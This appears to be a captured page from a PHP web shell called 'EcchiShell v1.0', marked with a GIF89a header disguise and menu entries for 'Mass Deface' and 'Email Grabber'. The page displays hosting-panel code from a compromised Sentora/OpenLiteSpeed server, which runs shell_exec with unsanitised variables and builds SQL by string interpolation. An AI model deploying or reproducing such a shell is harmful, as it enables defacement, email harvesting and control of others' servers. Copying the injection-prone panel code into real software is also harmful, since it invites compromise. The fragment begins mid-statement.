GIF89a; EcchiShell v1.0
//scripts/

Mass Deface Email Grabber

"SET NAMES 'utf8'")); $zdbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { exit(); } $chk_user_exists = "SELECT * FROM x_accounts where ac_user_vc='$username' AND ac_deleted_ts IS NULL"; $numrows = $zdbh->prepare($chk_user_exists); $numrows->execute(); if ($numrows->rowCount() == 0) { echo "user does not exists."; exit(); } $lite_conf_file1 = "/usr/local/lsws/conf/httpd_config.conf"; $lite_conf_file2 = "/usr/local/lsws/conf/httpd_config.conf0"; $time = time(); if(file_exists($lite_conf_file1)){ unlink($lite_conf_file1); //shell_exec("mv $lite_conf_file1 $lite_conf_file1-$time"); } if(file_exists($lite_conf_file2)){ unlink($lite_conf_file2); //shell_exec("mv $lite_conf_file2 $lite_conf_file2-$time"); } shell_exec("cp -pr /usr/local/lsws/conf/httpd_config.conf.org $lite_conf_file1"); shell_exec("cp -pr /usr/local/lsws/conf/httpd_config.conf.org $lite_conf_file2"); $sql = $zdbh->prepare("SELECT * FROM x_vhosts WHERE vh_deleted_ts IS NULL"); $sql->execute(); $Allrowvhost = $sql->fetchAll(); $Allrowvhost = array_filter($Allrowvhost); $map_line = ""; foreach($Allrowvhost as $rowvhost){ $vhostuser = ctrl_users::GetUserDetail($rowvhost['vh_acc_fk']); $dirname = str_replace(".","_",$rowvhost['vh_name_vc']); $dir_name = str_replace("*","wildcard",$dirname); $sub_dom_prefix = $rowvhost['vh_id_pk']; $tmpurl = $sub_dom_prefix.$vhostuser['username']; if(is_dir('/usr/local/lsws/cachedata/priv')){ shell_exec("sh /scripts/clear_cache.sh ".$rowvhost['vh_name_vc']." $tmpurl"); } $user_conf_lite_dir = "/usr/local/lsws/conf/vhosts/$dir_name"; if(!is_dir($user_conf_lite_dir)){ shell_exec("mkdir -p $user_conf_lite_dir"); shell_exec("chmod 750 $user_conf_lite_dir"); } $tmp_lite_dir = "/usr/local/lsws/$dir_name"; if(!is_dir($tmp_lite_dir)){ shell_exec("mkdir -p $tmp_lite_dir"); } $user_conf_lite = $user_conf_lite_dir."/vhconf.conf"; shell_exec("chown lsadm:lsadm -R $user_conf_lite_dir"); $home_dir = ctrl_options::GetSystemOption('hosted_dir'); $RootDir = $home_dir . $vhostuser['username'] . $rowvhost['vh_directory_vc'] . ''; $RootDir = str_replace("/","\/",$RootDir); $sql_php = "SELECT * FROM x_phpversion_upgrade WHERE x_client_id=:userid "; $numrows_php = $zdbh->prepare($sql_php); $numrows_php->bindParam(':userid', $rowvhost['vh_id_pk']); $numrows_php->execute(); $res=$numrows_php->fetch(); $litespeed_conf_flag=false; if(!file_exists($user_conf_lite)){ shell_exec("cp -pr /usr/local/lsws/conf/demo/vhconf.conf.org $user_conf_lite"); shell_exec("cp -pr /usr/local/lsws/conf/demo/vhconf.conf.org $user_conf_lite"); shell_exec("sed -i 's/USERNAME_DIR/".$RootDir."/g' $user_conf_lite"); shell_exec("sed -i 's/SERVER_USER/".$vhostuser['username']."/g' $user_conf_lite"); shell_exec("sed -i 's/SERVER_PATH_DOM/$dir_name/g' $user_conf_lite"); shell_exec("sed -i 's/SERVER_DOMAIN/$PHPdomainName/g' $user_conf_lite"); $phpVersion=$res['x_php_version']; $version=shell_exec("sed 's/^.*release //;s/ (Fin.*$//' /etc/centos-release"); $ver=substr($version, 0, 1); if($ver==8){ $phpver=array("php54","php55","php56","php70"); if(in_array($phpVersion,$phpver)){ $phpVersion="php71"; } } $ols_php_version="ls$phpVersion"; $ols_curt_php_ver = shell_exec("grep '/usr/local/lsws/lsphp' $user_conf_lite | awk '{ print $2 }' | tail -1 | awk -F'/' '{ print $5 }' | tr -d '\n'"); shell_exec("sed -i 's/$ols_curt_php_ver/$ols_php_version/g' $user_conf_lite"); $litespeed_conf_flag=true; }else{ $cwd_host_dir = shell_exec("grep 'docRoot' $user_conf_lite | head -n 1 | awk '{ print $2 }' | tr -d \" \""); $cwd_host_dir = str_replace("/","\/",$cwd_host_dir); shell_exec("sed -i 's/$cwd_host_dir/$RootDir/g' $user_conf_lite"); } $lite_server_config = "".fs_filehandler::NewLine(); $lite_server_config .= "virtualHost ". $dir_name . "{\n".fs_filehandler::NewLine(); $lite_server_config .= "vhRoot ". $dir_name . "/".fs_filehandler::NewLine(); $lite_server_config .= "configFile conf/vhosts/$dir_name/vhconf.conf".fs_filehandler::NewLine(); $lite_server_config .= "allowSymbolLink 1".fs_filehandler::NewLine(); $lite_server_config .= "enableScript 1".fs_filehandler::NewLine(); $lite_server_config .= "restrained 1".fs_filehandler::NewLine(); $lite_server_config .= "user ". $vhostuser['username'] .fs_filehandler::NewLine(); $lite_server_config .= "group ". $vhostuser['username'] .fs_filehandler::NewLine(); $lite_server_config .= "}".fs_filehandler::NewLine(); $hostname = trim(shell_exec("hostname")); $map_line .= "map ". $dir_name . " ". $rowvhost['vh_name_vc'] . ", mail.". $rowvhost['vh_name_vc'] . ", www.". $rowvhost['vh_name_vc'] . ",". $sub_dom_prefix."".$vhostuser['username'] .".$hostname".fs_filehandler::NewLine(); file_put_contents($lite_conf_file1,$lite_server_config,FILE_APPEND); file_put_contents($lite_conf_file2,$lite_server_config,FILE_APPEND); } $all_map_line = "listener Default{".fs_filehandler::NewLine(); $all_map_line .= "address *:80".fs_filehandler::NewLine(); $all_map_line .= "secure 0".fs_filehandler::NewLine(); $all_map_line .= "map Example *".fs_filehandler::NewLine(); $all_map_line .= $map_line; $all_map_line .= "}".fs_filehandler::NewLine(); $ssl_all_map_line = "listener ssl {".fs_filehandler::NewLine(); $ssl_all_map_line .= "address *:443".fs_filehandler::NewLine(); $ssl_all_map_line .= "secure 1".fs_filehandler::NewLine(); $ssl_all_map_line .= "keyFile /etc/httpd/httpscertificate/".ctrl_options::GetSystemOption('server_ip').".key".fs_filehandler::NewLine(); $ssl_all_map_line .= "certFile /etc/httpd/httpscertificate/".ctrl_options::GetSystemOption('server_ip').".crt".fs_filehandler::NewLine(); $ssl_all_map_line .= "certChain 1".fs_filehandler::NewLine(); $ssl_all_map_line .= "map Example *".fs_filehandler::NewLine(); $ssl_all_map_line .= $map_line; $ssl_all_map_line .= "}".fs_filehandler::NewLine(); file_put_contents($lite_conf_file1,$all_map_line,FILE_APPEND); file_put_contents($lite_conf_file2,$all_map_line,FILE_APPEND); file_put_contents($lite_conf_file1,$ssl_all_map_line,FILE_APPEND); file_put_contents($lite_conf_file2,$ssl_all_map_line,FILE_APPEND); shell_exec("chown lsadm:lsadm $lite_conf_file1"); shell_exec("chown lsadm:lsadm $lite_conf_file2"); $old_service_nam = trim(shell_exec("netstat -ltnp | grep ':80 ' | awk '{ print \$NF }' | awk -F\"/\" '{ print $2 }'")); if($old_service_nam != "openlitespeed"){ shell_exec("kill -9 $(lsof -t -i:80)"); } $sql_litespeed = "SELECT * FROM x_varnish"; $numrows = $zdbh->prepare($sql_litespeed); $numrows->execute(); if ($numrows->rowCount() <> 0) { $res_litespeed = $numrows->fetch(); if($res_litespeed['x_litespeed']=="On" && $litespeed_conf_flag != false){ shell_exec("/usr/local/lsws/bin/lswsctrl reload"); } } $sample_value_openLite = file_get_contents("/etc/sentora/panel/modules/apache_admin/hooks/sample_fastcg_started_openLiteSpeed.txt"); $chmod_service=trim(shell_exec("whereis chmod | awk '{print $2}'")); $chown_service=trim(shell_exec("whereis chown | awk '{print $2}'")); if(file_exists("/usr/local/lsws/bin/lswsctrl")){ // file_put_contents($php_confg_file_name, $sample_value_openLite); $php_confg_dir = "/home/".$username."/.additional"; if(file_exists($php_confg_dir) && !is_dir($php_confg_dir) && trim($username)!="") unlink($php_confg_dir); $php_confg_litespeed = "$php_confg_dir/.user.ini"; if(!is_dir($php_confg_dir)){ shell_exec("mkdir -p $php_confg_dir"); } $chmod_ret=shell_exec("$chmod_service 755 $php_confg_dir"); $chmod_ret=shell_exec("$chmod_service 644 $php_confg_litespeed"); $chmod_ret=shell_exec("$chown_service ".$username.":".$username." $php_confg_dir -R"); $upload_max_filesize = getPHPConfValueBasedOnKey('upload_max_filesize',$domain_name)."M"; $post_max_size = getPHPConfValueBasedOnKey('post_max_size', $domain_name)."M"; $max_execution_time = getPHPConfValueBasedOnKey('max_execution_time', $domain_name); $max_input_time = getPHPConfValueBasedOnKey('max_input_time', $domain_name); $memory_limit = getPHPConfValueBasedOnKey('memory_limit', $domain_name)."M"; $file_uploads = getPHPConfValueBasedOnKey('file_uploads', $domain_name); $short_open = getPHPConfValueBasedOnKey('short_open_tag', $domain_name); $max_input_vars = getPHPConfValueBasedOnKey('max_input_vars', $domain_name); $sample_value_openLite = str_replace("USERNAME", $username, $sample_value_openLite); $sample_value_openLite = str_replace("UploadMaxFileSize","$upload_max_filesize",$sample_value_openLite); $sample_value_openLite = str_replace("postMaxSize","$post_max_size",$sample_value_openLite); $sample_value_openLite = str_replace("maxExecutionTime","$max_execution_time",$sample_value_openLite); $sample_value_openLite = str_replace("MaxInputTime","$max_input_time",$sample_value_openLite); $sample_value_openLite = str_replace("MemoryLimit","$memory_limit",$sample_value_openLite); $sample_value_openLite = str_replace("FileUpload","$file_uploads",$sample_value_openLite); $sample_value_openLite = str_replace("ShortOpen","$short_open",$sample_value_openLite); $sample_value_openLite = str_replace("maxInputVars","$max_input_vars",$sample_value_openLite); file_put_contents($php_confg_litespeed, $sample_value_openLite); $confg_query = "SELECT * FROM x_php_config WHERE x_clearname='display_errors' AND x_old_value=$vhost_acc_id LIMIT 1"; $config_data = $zdbh->prepare($confg_query); $config_data->execute(); if($config_data->rowCount() != 0){ shell_exec("echo $upload_max_filesize >> /etc/sentora/panel/modules/apache_admin/hooks/sample_fastcg_started.log"); shell_exec("echo $upload_max_filesize >> /etc/sentora/panel/modules/apache_admin/hooks/sample_fastcg_started.log"); $res_php_conf=$config_data->fetch(); $display_error_val=$res_php_conf['x_value']; shell_exec("echo 'display_errors=$display_error_val' >> $php_confg_litespeed"); } } function getPHPConfValueBasedOnKey($key, $domain_name) { global $zdbh; global $controller; shell_exec("echo Domain Name PHP- : $domain_name >> /etc/sentora/panel/modules/apache_admin/hooks/sample_fastcg_started.log"); $sql = "SELECT * FROM x_vhosts WHERE vh_name_vc = '$domain_name' AND vh_deleted_ts is NULL LIMIT 1"; $sql_data = $zdbh->prepare($sql); $sql_data->execute(); if($sql_data->rowCount() == 0){ $confg_query = "SELECT * FROM x_php_config WHERE x_clearname='$key' AND x_old_value='1' LIMIT 1"; $config_data = $zdbh->prepare($confg_query); $config_data->execute(); while($phpConfData = $config_data->fetch()){ $return = $phpConfData['x_value'] ; } return $return; } while($res_data = $sql_data->fetch()){ $current_user_id = $res_data['vh_acc_fk']; } shell_exec("echo current user php- : $current_user_id >> /etc/sentora/panel/modules/apache_admin/hooks/sample_fastcg_started.log"); $return=""; $confg_query = "SELECT * FROM x_php_config WHERE x_clearname='$key' AND x_old_value='$current_user_id' LIMIT 1"; shell_exec("echo Select query : $confg_query >> /etc/sentora/panel/modules/apache_admin/hooks/sample_fastcg_started.log"); $config_data = $zdbh->prepare($confg_query); $config_data->execute(); if($config_data->rowCount()) { while($php_conf_data = $config_data->fetch()) { $return = $php_conf_data['x_value'] ; } } else { $confg_query = "SELECT * FROM x_php_config WHERE x_clearname='$key' AND x_old_value='1' LIMIT 1"; $config_data = $zdbh->prepare($confg_query); $config_data->execute(); while($phpConfData = $config_data->fetch()) { $return = $phpConfData['x_value'] ; } } //shell_exec("echo Return for FINAL_ANS $key => $return >> /etc/sentora/panel/modules/apache_admin/hooks/sample_fastcg_started.log"); return $return; } ?>